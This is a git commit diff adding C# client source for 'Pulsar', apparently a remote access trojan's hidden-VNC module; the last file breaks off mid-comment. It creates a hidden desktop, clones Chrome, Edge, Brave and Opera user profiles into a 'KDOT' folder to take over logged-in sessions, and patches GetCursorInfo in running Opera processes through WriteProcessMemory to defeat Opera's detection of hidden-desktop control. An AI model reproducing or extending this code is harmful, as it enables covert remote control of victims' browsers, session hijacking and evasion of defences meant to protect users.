initial commit
This commit is contained in:
@@ -0,0 +1,65 @@
|
||||
using System;
|
||||
|
||||
namespace Pulsar.Client.Helper.HVNC
|
||||
{
|
||||
/// <summary>
|
||||
/// Represents the progress state while cloning a browser profile directory.
|
||||
/// </summary>
|
||||
internal readonly struct BrowserCloneProgress
|
||||
{
|
||||
public BrowserCloneProgress(int filesCopied, int totalFiles, string currentItem, bool isIndeterminate = false)
|
||||
{
|
||||
FilesCopied = filesCopied;
|
||||
TotalFiles = totalFiles;
|
||||
CurrentItem = currentItem ?? string.Empty;
|
||||
IsIndeterminate = isIndeterminate;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the number of files copied so far.
|
||||
/// </summary>
|
||||
public int FilesCopied { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets the total number of files scheduled for cloning.
|
||||
/// </summary>
|
||||
public int TotalFiles { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets the relative path of the item currently being cloned.
|
||||
/// </summary>
|
||||
public string CurrentItem { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Indicates whether the operation is currently in an indeterminate state.
|
||||
/// </summary>
|
||||
public bool IsIndeterminate { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets the progress percentage (0-100) when the total file count is known.
|
||||
/// </summary>
|
||||
public int Percent
|
||||
{
|
||||
get
|
||||
{
|
||||
if (TotalFiles <= 0)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
double raw = (double)FilesCopied / TotalFiles * 100d;
|
||||
if (raw < 0d)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (raw > 100d)
|
||||
{
|
||||
return 100;
|
||||
}
|
||||
|
||||
return (int)Math.Round(raw);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,262 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Pulsar.Client.Helper.HVNC
|
||||
{
|
||||
/// <summary>
|
||||
/// Manages the small progress form shown when cloning browser profiles so users can observe the operation.
|
||||
/// </summary>
|
||||
internal sealed class BrowserCloneProgressSession : IDisposable
|
||||
{
|
||||
private const string HvncDesktopName = "PulsarDesktop";
|
||||
|
||||
private readonly CloneProgressForm _form;
|
||||
private readonly Progress<BrowserCloneProgress> _progress;
|
||||
private readonly CancellationTokenSource _cts;
|
||||
private readonly EventHandler _cancelHandler;
|
||||
private bool _completed;
|
||||
private bool _disposed;
|
||||
|
||||
private BrowserCloneProgressSession(CloneProgressForm form)
|
||||
{
|
||||
_form = form;
|
||||
_cts = new CancellationTokenSource();
|
||||
_cancelHandler = (sender, args) => RequestCancel();
|
||||
_form.UserRequestedCancel += _cancelHandler;
|
||||
_progress = new Progress<BrowserCloneProgress>(state =>
|
||||
{
|
||||
if (!_form.IsDisposed)
|
||||
{
|
||||
_form.UpdateProgress(state);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets a progress reporter that can be used from background threads.
|
||||
/// </summary>
|
||||
public IProgress<BrowserCloneProgress> Progress => _progress;
|
||||
|
||||
/// <summary>
|
||||
/// Gets a token that is cancelled when the user closes the progress UI.
|
||||
/// </summary>
|
||||
public CancellationToken CancellationToken => _cts.Token;
|
||||
|
||||
public void ReportPreparing()
|
||||
{
|
||||
InvokeOnUi(() => _form.ShowPreparing());
|
||||
}
|
||||
|
||||
public Task ReportCompletionAsync(bool wasSuccessful)
|
||||
{
|
||||
if (_completed)
|
||||
{
|
||||
return Task.CompletedTask;
|
||||
}
|
||||
|
||||
_completed = true;
|
||||
|
||||
if (_form.IsDisposed)
|
||||
{
|
||||
return Task.CompletedTask;
|
||||
}
|
||||
|
||||
var completionSource = new TaskCompletionSource<object>(TaskCreationOptions.RunContinuationsAsynchronously);
|
||||
InvokeOnUi(() => _form.BeginCompleteAnimation(wasSuccessful, () => completionSource.TrySetResult(null)));
|
||||
return completionSource.Task;
|
||||
}
|
||||
|
||||
public static Task<BrowserCloneProgressSession> TryCreateAsync(string browserName)
|
||||
{
|
||||
var completion = new TaskCompletionSource<BrowserCloneProgressSession>(TaskCreationOptions.RunContinuationsAsynchronously);
|
||||
|
||||
var uiThread = new Thread(() =>
|
||||
{
|
||||
IntPtr desktopHandle = IntPtr.Zero;
|
||||
BrowserCloneProgressSession session = null;
|
||||
|
||||
try
|
||||
{
|
||||
desktopHandle = DesktopInterop.OpenOrCreate(HvncDesktopName, out int openError);
|
||||
if (desktopHandle == IntPtr.Zero)
|
||||
{
|
||||
Debug.WriteLine($"[BrowserCloneProgressSession] Failed to open or create desktop '{HvncDesktopName}'. Win32 error: {openError}");
|
||||
completion.TrySetResult(null);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!DesktopInterop.TrySetThreadDesktop(desktopHandle))
|
||||
{
|
||||
int threadError = Marshal.GetLastWin32Error();
|
||||
Debug.WriteLine($"[BrowserCloneProgressSession] SetThreadDesktop failed with error {threadError} for desktop '{HvncDesktopName}'.");
|
||||
completion.TrySetResult(null);
|
||||
return;
|
||||
}
|
||||
|
||||
var form = new CloneProgressForm();
|
||||
form.Initialize(browserName);
|
||||
|
||||
void HandleCreated(object sender, EventArgs args)
|
||||
{
|
||||
form.HandleCreated -= HandleCreated;
|
||||
|
||||
try
|
||||
{
|
||||
session = new BrowserCloneProgressSession(form);
|
||||
completion.TrySetResult(session);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"[BrowserCloneProgressSession] Failed to initialize progress session: {ex.Message}");
|
||||
completion.TrySetResult(null);
|
||||
form.BeginInvoke(new Action(form.Close));
|
||||
}
|
||||
}
|
||||
|
||||
form.HandleCreated += HandleCreated;
|
||||
form.FormClosed += (_, __) => Application.ExitThread();
|
||||
|
||||
Application.Run(form);
|
||||
|
||||
if (!completion.Task.IsCompleted)
|
||||
{
|
||||
completion.TrySetResult(session);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"[BrowserCloneProgressSession] Exception while creating progress UI: {ex.Message}");
|
||||
completion.TrySetResult(null);
|
||||
}
|
||||
finally
|
||||
{
|
||||
DesktopInterop.Release(desktopHandle);
|
||||
}
|
||||
})
|
||||
{
|
||||
IsBackground = true,
|
||||
Name = "Pulsar HVNC Progress UI"
|
||||
};
|
||||
|
||||
uiThread.SetApartmentState(ApartmentState.STA);
|
||||
uiThread.Start();
|
||||
|
||||
return completion.Task;
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
_disposed = true;
|
||||
|
||||
_form.UserRequestedCancel -= _cancelHandler;
|
||||
|
||||
InvokeOnUi(() =>
|
||||
{
|
||||
if (!_form.IsDisposed)
|
||||
{
|
||||
_form.Close();
|
||||
_form.Dispose();
|
||||
}
|
||||
});
|
||||
|
||||
_cts.Dispose();
|
||||
}
|
||||
|
||||
private void RequestCancel()
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (!_cts.IsCancellationRequested)
|
||||
{
|
||||
_cts.Cancel();
|
||||
}
|
||||
}
|
||||
|
||||
private void InvokeOnUi(Action action)
|
||||
{
|
||||
if (_form.IsDisposed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (_form.InvokeRequired)
|
||||
{
|
||||
try
|
||||
{
|
||||
_form.BeginInvoke(action);
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
// ignored
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
action();
|
||||
}
|
||||
}
|
||||
|
||||
private static class DesktopInterop
|
||||
{
|
||||
private const uint DesktopAccessMask = 0x000001FF;
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool SetThreadDesktop(IntPtr hDesktop);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool CloseDesktop(IntPtr hDesktop);
|
||||
|
||||
public static IntPtr OpenOrCreate(string desktopName, out int lastError)
|
||||
{
|
||||
lastError = 0;
|
||||
|
||||
IntPtr handle = OpenDesktop(desktopName, 0, true, DesktopAccessMask);
|
||||
if (handle != IntPtr.Zero)
|
||||
{
|
||||
return handle;
|
||||
}
|
||||
|
||||
lastError = Marshal.GetLastWin32Error();
|
||||
|
||||
handle = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, DesktopAccessMask, IntPtr.Zero);
|
||||
if (handle == IntPtr.Zero)
|
||||
{
|
||||
lastError = Marshal.GetLastWin32Error();
|
||||
}
|
||||
|
||||
return handle;
|
||||
}
|
||||
|
||||
public static bool TrySetThreadDesktop(IntPtr handle)
|
||||
{
|
||||
return handle != IntPtr.Zero && SetThreadDesktop(handle);
|
||||
}
|
||||
|
||||
public static void Release(IntPtr handle)
|
||||
{
|
||||
if (handle != IntPtr.Zero)
|
||||
{
|
||||
CloseDesktop(handle);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,146 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
|
||||
namespace Pulsar.Client.Helper.HVNC
|
||||
{
|
||||
/// <summary>
|
||||
/// Configuration for browser injection including paths and parameters
|
||||
/// </summary>
|
||||
public class BrowserConfig
|
||||
{
|
||||
public string ExecutablePath { get; set; }
|
||||
public string SearchPattern { get; set; }
|
||||
public string ReplacementPath { get; set; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Manages browser configurations for HVNC injection
|
||||
/// </summary>
|
||||
public static class BrowserConfiguration
|
||||
{
|
||||
private static readonly Dictionary<string, BrowserConfig> BrowserConfigs = new Dictionary<string, BrowserConfig>(StringComparer.OrdinalIgnoreCase)
|
||||
{
|
||||
{
|
||||
"Chrome", new BrowserConfig
|
||||
{
|
||||
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES"), "Google\\Chrome\\Application\\chrome.exe"),
|
||||
SearchPattern = "Local\\Google\\Chrome\\User Data",
|
||||
ReplacementPath = "Local\\Google\\Chrome\\KDOT"
|
||||
}
|
||||
},
|
||||
{
|
||||
"ChromeX86", new BrowserConfig
|
||||
{
|
||||
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES(X86)"), "Google\\Chrome\\Application\\chrome.exe"),
|
||||
SearchPattern = "Local\\Google\\Chrome\\User Data",
|
||||
ReplacementPath = "Local\\Google\\Chrome\\KDOT"
|
||||
}
|
||||
},
|
||||
{
|
||||
"Edge", new BrowserConfig
|
||||
{
|
||||
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES(X86)"), "Microsoft\\Edge\\Application\\msedge.exe"),
|
||||
SearchPattern = "Local\\Microsoft\\Edge\\User Data",
|
||||
ReplacementPath = "Local\\Microsoft\\Edge\\KDOT"
|
||||
}
|
||||
},
|
||||
{
|
||||
"Brave", new BrowserConfig
|
||||
{
|
||||
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES"), "BraveSoftware\\Brave-Browser\\Application\\brave.exe"),
|
||||
SearchPattern = "Local\\BraveSoftware\\Brave-Browser\\User Data",
|
||||
ReplacementPath = "Local\\BraveSoftware\\Brave-Browser\\KDOT"
|
||||
}
|
||||
},
|
||||
{
|
||||
"Opera", new BrowserConfig
|
||||
{
|
||||
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "Programs\\Opera\\opera.exe"),
|
||||
SearchPattern = "Roaming\\Opera Software\\Opera Stable",
|
||||
ReplacementPath = "Roaming\\Opera Software\\KDOT"
|
||||
}
|
||||
},
|
||||
{
|
||||
"OperaGX", new BrowserConfig
|
||||
{
|
||||
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "Programs\\Opera GX\\opera.exe"),
|
||||
SearchPattern = "Roaming\\Opera Software\\Opera GX Stable",
|
||||
ReplacementPath = "Roaming\\Opera Software\\KDOT"
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
/// <summary>
|
||||
/// Gets the browser configuration for the specified browser type
|
||||
/// </summary>
|
||||
/// <param name="browserType">Type of browser (Chrome, Edge, Brave, etc.)</param>
|
||||
/// <returns>Browser configuration or null if not found</returns>
|
||||
public static BrowserConfig GetConfig(string browserType)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(browserType))
|
||||
return null;
|
||||
|
||||
if (BrowserConfigs.TryGetValue(browserType, out var config))
|
||||
{
|
||||
return config;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the first valid Chrome configuration (checks both64-bit and32-bit)
|
||||
/// </summary>
|
||||
/// <returns>Valid Chrome configuration or null if Chrome is not installed</returns>
|
||||
public static BrowserConfig GetChromeConfig()
|
||||
{
|
||||
var chromeConfig = GetConfig("Chrome");
|
||||
if (chromeConfig != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!string.IsNullOrEmpty(chromeConfig.ExecutablePath) && File.Exists(chromeConfig.ExecutablePath))
|
||||
{
|
||||
return chromeConfig;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// ignore and continue
|
||||
}
|
||||
}
|
||||
|
||||
var chromeX86 = GetConfig("ChromeX86");
|
||||
if (chromeX86 != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!string.IsNullOrEmpty(chromeX86.ExecutablePath) && File.Exists(chromeX86.ExecutablePath))
|
||||
{
|
||||
return chromeX86;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// ignore
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Validates if the browser executable exists
|
||||
/// </summary>
|
||||
/// <param name="config">Browser configuration to validate</param>
|
||||
/// <returns>True if executable exists, false otherwise</returns>
|
||||
public static bool ValidateConfig(BrowserConfig config)
|
||||
{
|
||||
if (config == null)
|
||||
return false;
|
||||
|
||||
return File.Exists(config.ExecutablePath);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,453 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Pulsar.Client.Helper.HVNC.Chromium
|
||||
{
|
||||
/// <summary>
|
||||
/// Opera memory patcher that patches GetCursorInfo function to always return success
|
||||
/// This prevents Opera from detecting HVNC environments by bypassing cursor detection
|
||||
///
|
||||
/// Usage:
|
||||
/// - Automatic: The patcher is automatically called when using ProcessController.StartOpera() or StartOperaGX()
|
||||
/// - Manual: Call OperaPatcher.PatchOperaProcesses() to patch all running Opera processes
|
||||
/// - Async: Use OperaPatcher.PatchOperaAsync() for non-blocking patching with retry logic
|
||||
///
|
||||
/// How it works:
|
||||
/// 1. Finds all running Opera processes with main windows
|
||||
/// 2. Locates the GetCursorInfo function in user32.dll within each process
|
||||
/// 3. Patches the function to return 1 (success) immediately using assembly: mov eax, 1; ret
|
||||
/// 4. This bypasses Opera's cursor detection used to identify HVNC environments
|
||||
///
|
||||
/// The patch is applied in memory and does not modify files on disk.
|
||||
/// </summary>
|
||||
public class OperaPatcher
|
||||
{
|
||||
#region Win32 API Imports
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
|
||||
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, ref int lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr LoadLibrary(string lpFileName);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern uint GetLastError();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint dwSize, out int lpNumberOfBytesRead);
|
||||
|
||||
[DllImport("psapi.dll", SetLastError = true)]
|
||||
private static extern bool EnumProcessModules(
|
||||
IntPtr hProcess,
|
||||
[Out] IntPtr[] lphModule,
|
||||
int cb,
|
||||
out int lpcbNeeded);
|
||||
|
||||
[DllImport("psapi.dll")]
|
||||
private static extern uint GetModuleFileNameEx(
|
||||
IntPtr hProcess,
|
||||
IntPtr hModule,
|
||||
[Out] StringBuilder lpBaseName,
|
||||
int nSize);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
|
||||
|
||||
#endregion Win32 API Imports
|
||||
|
||||
#region Structs and Constants
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct LUID
|
||||
{
|
||||
public uint LowPart;
|
||||
public int HighPart;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct TOKEN_PRIVILEGES
|
||||
{
|
||||
public uint PrivilegeCount;
|
||||
public LUID Luid;
|
||||
public uint Attributes;
|
||||
}
|
||||
|
||||
private const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
|
||||
private const uint TOKEN_QUERY = 0x0008;
|
||||
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
|
||||
private const uint PROCESS_ALL_ACCESS = 0x001F0FFF;
|
||||
private const uint PAGE_EXECUTE_READWRITE = 0x40;
|
||||
|
||||
#endregion Structs and Constants
|
||||
|
||||
/// <summary>
|
||||
/// Patches Opera processes to bypass HVNC detection
|
||||
/// </summary>
|
||||
/// <returns>True if at least one Opera process was successfully patched</returns>
|
||||
public static bool PatchOperaProcesses()
|
||||
{
|
||||
bool anyPatched = false;
|
||||
|
||||
try
|
||||
{
|
||||
// Find all Opera processes
|
||||
Process[] operaProcesses = Process.GetProcessesByName("opera")
|
||||
.Where(p => p.MainWindowHandle != IntPtr.Zero)
|
||||
.ToArray();
|
||||
|
||||
if (operaProcesses.Length == 0)
|
||||
{
|
||||
Debug.WriteLine("No Opera processes found with main window");
|
||||
return false;
|
||||
}
|
||||
|
||||
foreach (var process in operaProcesses)
|
||||
{
|
||||
try
|
||||
{
|
||||
Debug.WriteLine($"Attempting to patch Opera process PID: {process.Id}");
|
||||
|
||||
if (EnableDebugPrivilege(process.Id))
|
||||
{
|
||||
Debug.WriteLine("Debug privilege enabled successfully");
|
||||
}
|
||||
else
|
||||
{
|
||||
Debug.WriteLine("Failed to enable debug privilege, continuing anyway");
|
||||
}
|
||||
|
||||
if (PatchOperaProcess(process.Id))
|
||||
{
|
||||
Debug.WriteLine($"Successfully patched Opera PID: {process.Id}");
|
||||
anyPatched = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
Debug.WriteLine($"Failed to patch Opera PID: {process.Id}");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error patching Opera process {process.Id}: {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error in PatchOperaProcesses: {ex.Message}");
|
||||
}
|
||||
|
||||
return anyPatched;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Patches a specific Opera process by PID
|
||||
/// </summary>
|
||||
/// <param name="pid">Process ID of the Opera process to patch</param>
|
||||
/// <returns>True if the process was successfully patched</returns>
|
||||
public static bool PatchOperaProcess(int pid)
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr addr = RemoteGetProcAddress(pid, "user32.dll", "GetCursorInfo");
|
||||
if (addr == IntPtr.Zero)
|
||||
{
|
||||
Debug.WriteLine("Failed to find GetCursorInfo function address");
|
||||
return false;
|
||||
}
|
||||
|
||||
Debug.WriteLine($"GetCursorInfo address: 0x{addr.ToInt64():X}");
|
||||
|
||||
// Assembly: mov eax, 1; ret (returns 1/TRUE for success)
|
||||
byte[] patchBytes = new byte[] { 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 };
|
||||
|
||||
IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)pid);
|
||||
if (handle == IntPtr.Zero)
|
||||
{
|
||||
Debug.WriteLine($"Failed to open process. Error: {GetLastError()}");
|
||||
return false;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
uint oldProtect = 0;
|
||||
if (!VirtualProtectEx(handle, addr, (uint)patchBytes.Length, PAGE_EXECUTE_READWRITE, out oldProtect))
|
||||
{
|
||||
Debug.WriteLine($"Failed to change memory protection. Error: {GetLastError()}");
|
||||
return false;
|
||||
}
|
||||
|
||||
int bytesWritten = 0;
|
||||
if (!WriteProcessMemory(handle, addr, patchBytes, patchBytes.Length, ref bytesWritten))
|
||||
{
|
||||
Debug.WriteLine($"Failed to write to process memory. Error: {GetLastError()}");
|
||||
return false;
|
||||
}
|
||||
|
||||
Debug.WriteLine($"Successfully wrote {bytesWritten} bytes");
|
||||
|
||||
byte[] verifyBuffer = new byte[patchBytes.Length];
|
||||
int bytesRead = 0;
|
||||
if (ReadProcessMemory(handle, addr, verifyBuffer, (uint)verifyBuffer.Length, out bytesRead))
|
||||
{
|
||||
bool patchVerified = bytesRead == patchBytes.Length;
|
||||
for (int i = 0; i < bytesRead && patchVerified; i++)
|
||||
{
|
||||
if (verifyBuffer[i] != patchBytes[i])
|
||||
{
|
||||
patchVerified = false;
|
||||
}
|
||||
}
|
||||
|
||||
if (patchVerified)
|
||||
{
|
||||
Debug.WriteLine("Patch verified successfully");
|
||||
}
|
||||
else
|
||||
{
|
||||
Debug.WriteLine("Patch verification failed");
|
||||
}
|
||||
}
|
||||
|
||||
uint dummy;
|
||||
VirtualProtectEx(handle, addr, (uint)patchBytes.Length, oldProtect, out dummy);
|
||||
|
||||
return bytesWritten == patchBytes.Length;
|
||||
}
|
||||
finally
|
||||
{
|
||||
CloseHandle(handle);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error in PatchOperaProcess: {ex.Message}");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the remote address of a function in another process
|
||||
/// </summary>
|
||||
private static IntPtr RemoteGetProcAddress(int processId, string dllName, string functionName)
|
||||
{
|
||||
IntPtr processHandle = IntPtr.Zero;
|
||||
|
||||
try
|
||||
{
|
||||
processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)processId);
|
||||
if (processHandle == IntPtr.Zero)
|
||||
{
|
||||
Debug.WriteLine($"Failed to open process with ID {processId}. Error code: {GetLastError()}");
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
IntPtr localModuleHandle = LoadLibrary(dllName);
|
||||
if (localModuleHandle == IntPtr.Zero)
|
||||
{
|
||||
Debug.WriteLine($"Failed to load local module '{dllName}'. Error code: {GetLastError()}");
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
IntPtr localFunctionAddress = GetProcAddress(localModuleHandle, functionName);
|
||||
if (localFunctionAddress == IntPtr.Zero)
|
||||
{
|
||||
Debug.WriteLine($"Function '{functionName}' not found in '{dllName}'. Error code: {GetLastError()}");
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
long offset = localFunctionAddress.ToInt64() - localModuleHandle.ToInt64();
|
||||
Debug.WriteLine($"Function offset: 0x{offset:X}");
|
||||
|
||||
IntPtr remoteModuleBase = GetRemoteModuleHandle(processHandle, dllName);
|
||||
if (remoteModuleBase == IntPtr.Zero)
|
||||
{
|
||||
Debug.WriteLine($"Module '{dllName}' not found in process {processId}");
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
IntPtr remoteFunctionAddress = new IntPtr(remoteModuleBase.ToInt64() + offset);
|
||||
Debug.WriteLine($"Remote function address: 0x{remoteFunctionAddress.ToInt64():X}");
|
||||
|
||||
return remoteFunctionAddress;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error in RemoteGetProcAddress: {ex.Message}");
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (processHandle != IntPtr.Zero)
|
||||
{
|
||||
CloseHandle(processHandle);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the base address of a module in a remote process
|
||||
/// </summary>
|
||||
private static IntPtr GetRemoteModuleHandle(IntPtr processHandle, string moduleName)
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr[] moduleHandles = new IntPtr[1024];
|
||||
int bytesNeeded;
|
||||
|
||||
if (!EnumProcessModules(processHandle, moduleHandles, Marshal.SizeOf(typeof(IntPtr)) * moduleHandles.Length, out bytesNeeded))
|
||||
{
|
||||
Debug.WriteLine($"Failed to enumerate modules. Error code: {GetLastError()}");
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
int moduleCount = bytesNeeded / Marshal.SizeOf(typeof(IntPtr));
|
||||
StringBuilder moduleNameBuffer = new StringBuilder(256);
|
||||
|
||||
string targetName = moduleName.ToLower();
|
||||
|
||||
for (int i = 0; i < moduleCount; i++)
|
||||
{
|
||||
GetModuleFileNameEx(processHandle, moduleHandles[i], moduleNameBuffer, moduleNameBuffer.Capacity);
|
||||
string currentModuleName = moduleNameBuffer.ToString();
|
||||
|
||||
string fileName = System.IO.Path.GetFileName(currentModuleName).ToLower();
|
||||
|
||||
if (fileName == targetName || fileName == targetName + ".dll")
|
||||
{
|
||||
return moduleHandles[i];
|
||||
}
|
||||
}
|
||||
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error in GetRemoteModuleHandle: {ex.Message}");
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Enables debug privilege for the specified process
|
||||
/// </summary>
|
||||
private static bool EnableDebugPrivilege(int processId)
|
||||
{
|
||||
IntPtr processHandle = IntPtr.Zero;
|
||||
IntPtr tokenHandle = IntPtr.Zero;
|
||||
|
||||
try
|
||||
{
|
||||
processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)processId);
|
||||
if (processHandle == IntPtr.Zero)
|
||||
{
|
||||
Debug.WriteLine("Failed to open process for debug privilege");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!OpenProcessToken(processHandle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out tokenHandle))
|
||||
{
|
||||
Debug.WriteLine("Failed to open process token");
|
||||
return false;
|
||||
}
|
||||
|
||||
LUID luid;
|
||||
if (!LookupPrivilegeValue(null, "SeDebugPrivilege", out luid))
|
||||
{
|
||||
Debug.WriteLine("Failed to lookup privilege value");
|
||||
return false;
|
||||
}
|
||||
|
||||
TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES
|
||||
{
|
||||
PrivilegeCount = 1,
|
||||
Luid = luid,
|
||||
Attributes = SE_PRIVILEGE_ENABLED
|
||||
};
|
||||
|
||||
if (!AdjustTokenPrivileges(tokenHandle, false, ref tokenPrivileges, 0, IntPtr.Zero, IntPtr.Zero))
|
||||
{
|
||||
Debug.WriteLine("Failed to adjust token privileges");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error in EnableDebugPrivilege: {ex.Message}");
|
||||
return false;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (tokenHandle != IntPtr.Zero)
|
||||
CloseHandle(tokenHandle);
|
||||
if (processHandle != IntPtr.Zero)
|
||||
CloseHandle(processHandle);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Asynchronously patches Opera processes with retry logic
|
||||
/// </summary>
|
||||
/// <param name="maxRetries">Maximum number of retry attempts</param>
|
||||
